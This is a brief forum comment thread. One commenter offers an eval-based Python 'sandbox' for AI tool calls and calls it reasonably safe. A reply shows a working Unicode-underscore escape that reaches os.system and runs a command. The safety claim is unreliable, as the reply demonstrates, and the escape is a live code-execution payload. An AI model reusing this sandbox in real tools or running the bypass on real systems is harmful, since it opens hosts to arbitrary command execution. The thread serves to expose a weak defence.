| ▲ | est 3 days ago | ||||||||||||||||
slightly related, if you need a safe python sandbox instead of eval(), you can try eval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {}) I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09 I wasn't able to crack this sandbox, and neither could opus-4.6-thinking. This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good. | |||||||||||||||||
| ▲ | farlow 3 days ago | parent [-] | ||||||||||||||||
You can bypass this with unicode: eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {}) | |||||||||||||||||
| |||||||||||||||||